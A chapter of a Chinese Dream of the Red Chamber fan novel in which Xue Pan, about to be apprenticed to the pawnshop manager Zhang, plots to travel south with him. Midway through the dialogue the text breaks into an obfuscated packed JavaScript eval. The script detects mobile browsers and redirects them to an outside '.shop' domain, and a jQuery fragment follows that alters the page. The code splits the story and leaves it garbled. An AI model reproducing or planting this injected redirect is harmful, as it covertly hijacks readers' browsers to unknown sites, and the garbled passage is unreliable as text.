383.一九二上 谋远行薛蟠生去意
作品:《雪落红楼万芳春》 张朝奉将薛蟠上下打量了一遍,一面就笑道:“哦?果然不再长了么,我瞧着倒似乎是高了些,人也英武。从前哥儿年纪小时,还不大觉得,如今大了,也有些大人样子了,果然生得仪表堂堂的,一打眼看过去,冷不防想不转,倒以为是老东家在眼前一般。”说着又叹气伤感起来。
张朝奉面带怀旧,却在心里反复念着——噢哟,我这把子年纪了,从来不曾做过甚么亏心事,说一点子诳语不打紧罢?老东家勿怪、老东家勿怪!
薛蟠撇了撇嘴,嘿,这个老人精,最会拿这些怀旧的话哄着母亲,他老薛可是一个字儿也不信的,别的不提,若这老张头真觉得自己跟父亲一样,就不该对自己有那许多罗里吧嗦的说教,就该是自己说什么便是什么才对,大小事全该由自己主张,就像父亲从前那样。
现在他这般阳奉阴违,可见都是哄人的。
喔,阳奉阴违、阳奉阴违,薛蟠把舌头在嘴里拌了拌,这四个字还真绕口。这还是于文施教给自己的词,呸,装的甚么劳什子的文人,以后再不用了。
等等……老张头说自己像父亲,可父亲是长什么样子来着?薛蟠情不自禁地挠挠头,他都有点忘了。
父亲从前在时,对他管束太严,定了许多规矩不说,又经常训斥,开始是寄予重望、后来是恨其不争,所以薛蟠心里几乎所有与父亲有关的记忆都是背着手、板着面孔在训斥自己,而自己则永远是缩着脖子低着头,从来不敢抬起眼睛来。
在避父亲如畏猫之鼠这件事上,他与宝玉倒是很有共同话题,久而久之,父亲的面孔就越来越模糊了,那严厉的声音却仿佛时时萦绕在耳侧。
父亲的样子、父亲的样子……薛蟠翻着白眼努力地去回想。
薛姨妈不知张朝奉和薛蟠各自丰富的心理活动,闻言也颇为伤感,叹道:“是啊,我也常说这个孩子同他父亲生得极像,如今我眼睛也有些花了,有时一错眼,见他在身边,我也很有些恍惚的。唉,只是他性子实在可恶,若有他父亲一分的稳重,我也不操心了。也是他父亲去得早,我一个妇道人家,实在教不得他什么,把他拘在身边,叫他每日陪我说话,倒耽误了他。他如今也大了,把从前的胡闹也该收拾收拾,我这几日正想着叫他也好歹学着做些正经事,不叫他往外头去乱走乱撞了。”
张朝奉在当铺里送往迎来地打熬了几十个春秋,最是长于察言观色,听见薛姨妈这样说,马上便知道了东家今日执意叫少东家在此的用意,笑道:“可怜天下父母心,做爹娘的,总是望子成龙的多些,便是似哥儿这般有出息的,东家还嫌他不足呢?我们家里那些小子们,越发该打发到羊棚猪圈里才是了!”
听见他这样说,薛姨妈便问:“你家里的孩子们可好?”
张朝奉呵呵笑道:“都好、都好,我的大孙子如今满一十六岁了,他打小儿就跟着我学着做营生,如今各样事情都还来得,只是我们这一行当最要熬‘资历’,到底年轻、未经事,且叫他跟着我多见识几年,把一双眼睛练成了,这才能出师呢。”
薛姨妈道:“唔,竟已这样大了,可议过亲事不曾?”
张朝奉笑道:“不曾,先立业、再成家,多少让他混出个样子来,稳重一些,再提这些事不迟,如今一个毛头小子,谁家的姑娘能瞧得中他。”
薛姨妈感慨道:“好、好,既是您一手带大的,必然不会错,想必是个好孩子。”她叹息一回,又指着薛蟠道:“打小儿我也不求他能做甚么大官、大才子、大商人,不必他怎样显达,总是有些正经事能叫他熬炼熬炼性情儿,好歹知道些世上的艰难、晓得些轻重就好,不至于虚掷了光阴,只叹总没个放心的去处,让我悬心不下。”
张朝奉知道这里是用着自己的时候了,马上表态道:“若是东家放心,便将哥儿交给小老儿,明年也跟着我到铺子里练一练去,正好也可借此熟悉些章程、俗务。我替老东家守了这几年铺子,总想着将来也要把生意好生交还到哥儿手里的,只怕哥儿年轻、耐不得烦,如今可不是正好?”
薛姨妈忙道:“不用、不用,老先生只教他跟着您学些眉眼高低、说话做人,我便谢天谢地了,可万万说不到‘交还’上头去,铺子里总是有老先生坐镇才是正理,您莫要想得左了,若是会错了我的意思,倒是我的罪过了。”
张朝奉哈哈笑道:“无妨,东家说这些话才是见外了,‘恒舒典’总是姓薛的,由薛家人统管着才是正理,哥儿接手总是早晚的事,只是不急,总要平稳些、慢慢来也罢了。如此,那便等到明年初夏我回来,便叫哥儿跟着我去罢。”
张朝奉答应得倒是十分痛快,事情却也正如薛姨妈的意,只是没想到适逢张朝奉回乡,总是要等到明年端阳才能让薛蟠跟了去,如今才是十月,这半年工夫里保不齐又出什么岔子。
薛姨妈虽觉不甚放心,却也无法可想,便向薛蟠道:“孽障,还不快给张爷爷磕头呢,等来年你跟着张爷爷学做事去,到了铺子里,也要学着独当一面,以后你就是大人了,再要胡闹时,就让张爷爷管教你。”
这薛蟠比已及笄的薛宝钗还要大两岁,他又生得扎实肥壮,更兼性子粗豪,常同一班狐朋狗友在外花天酒地,招鸡斗狗无所不做,外头有几个相熟的妓子乐姬,房里也已有香菱这样一个美妾侍候。
这样一个人,在薛姨妈眼中原来竟还不算是“大人”,说来也真是“可怜天下父母心”了。
薛蟠听见母亲叫他磕头,心里虽然仍是老大不乐意,仍是规规矩矩地应了,走前两步,一撩前摆、便向张朝奉跪下去,口里咕哝道:“小子请张爷爷教导。”
张朝奉忙上前一把搀住,道:“不敢、不敢。哥儿不嫌小老儿絮烦也罢了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17207601|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
薛蟠本也不愿向这糟老头儿叩头,见他来搀,顺势便起身来,撇了撇嘴,心里却电光火石般地闪过一个念头——咦,如今京里索性呆不下去,这张老儿适才既说要家去,又说总要有小半年光景才回转来,我何不也跟着往南边瞧瞧去?喔,又可好耍子,又可避避风头。等好歹过了这小半年,我这档子事早没人记得了,到时再仍旧回来快活也不迟。
他行事冲动,一向也是想到什么便做什么,心里这样想着,也不顾细思,跟着便又向张朝奉一揖,颇为恭敬地道:“张爷爷,小子从前糊涂,不省得事,白费了许多日子,痴长年纪,不曾有什么长进,如今听见能跟着张爷爷学做事,心里实在喜欢。只是我心里既有了这个念头,这半年便实在难熬。如今我倒有个想法——不如就叫我跟了张爷爷一起到南边去,明年再一同回转来,一路上多少也能学些东西,不白白耽误那许多工夫,岂不好么!”
张朝奉见他忽然换了一个人般,举止十分恭敬,也有些错愕,心道方才这么一弯腰的工夫儿、这泼贼莫不是鬼上身了罢?
薛姨妈也十分吃惊。她原还担心儿子一贯胡闹惯了,不愿就收了心去铺子里,若是十分不愿时,恐怕还要同自己吵嚷,她虽是打定主意不管薛蟠如何胡闹,这次一定不可放松,却没料想他对此事接受如此之快,不仅全无不快之色,甚至还十分迫不及待,自请立刻动身,这如何不让人意外。
薛姨妈的心里只以为是儿子吃上一亏后果然沉稳了不少,愿意长进、要将过去耽误的工夫儿都用功补回来,自然暗暗欣慰,一时又感动得泪光晶莹,自己用帕子点了点眼角,这才温言道:“这是孩子话了。你张爷爷此去原是为着家里有事,你若跟了去了,平添一件心事,迟两月又是过年,怎么好让张爷爷分神照顾你?你有愿意上进的心,便是极好的,既有了这个心,作甚么都是一样,你若闲不住,待我去求求你舅舅、姨丈等,多少替你谋个事做,且先过了这个年再说。你知道,过了年,日子过得是极快的,端阳节瞧着似乎远,不过眨眼工夫便到了,这也可磨一磨你的急性子,别总是点炮仗一样。”
薛姨妈是谆谆劝慰他,那一头薛蟠却已经完全沉浸在自己这个绝妙的主意里了。他想着自己长这么大,还没有独自出去闯荡过,听着说书的讲那许多豪侠传奇,心里也自有些痒痒的,京里这几步地方也多少有些玩腻了,哪肯放过如此机会,心里飞速想着如何才能促成此事,便道:“嘿,儿子此去只是在路上与张爷爷同行,等到了南边,咱们也有自己的屋子,难道儿子还只把着张爷爷不放手不成。等到过年那几日,儿子只往咱们旧宅去,绝不扰烦人。论理咱们离开南边也有这些时候了,故土……故土……呃这个故土……故土甚么来着?罢了,妈和妹妹有什么想吃的、想玩的,只管告诉我,我去买了,明年一起带上来,岂不好么。”

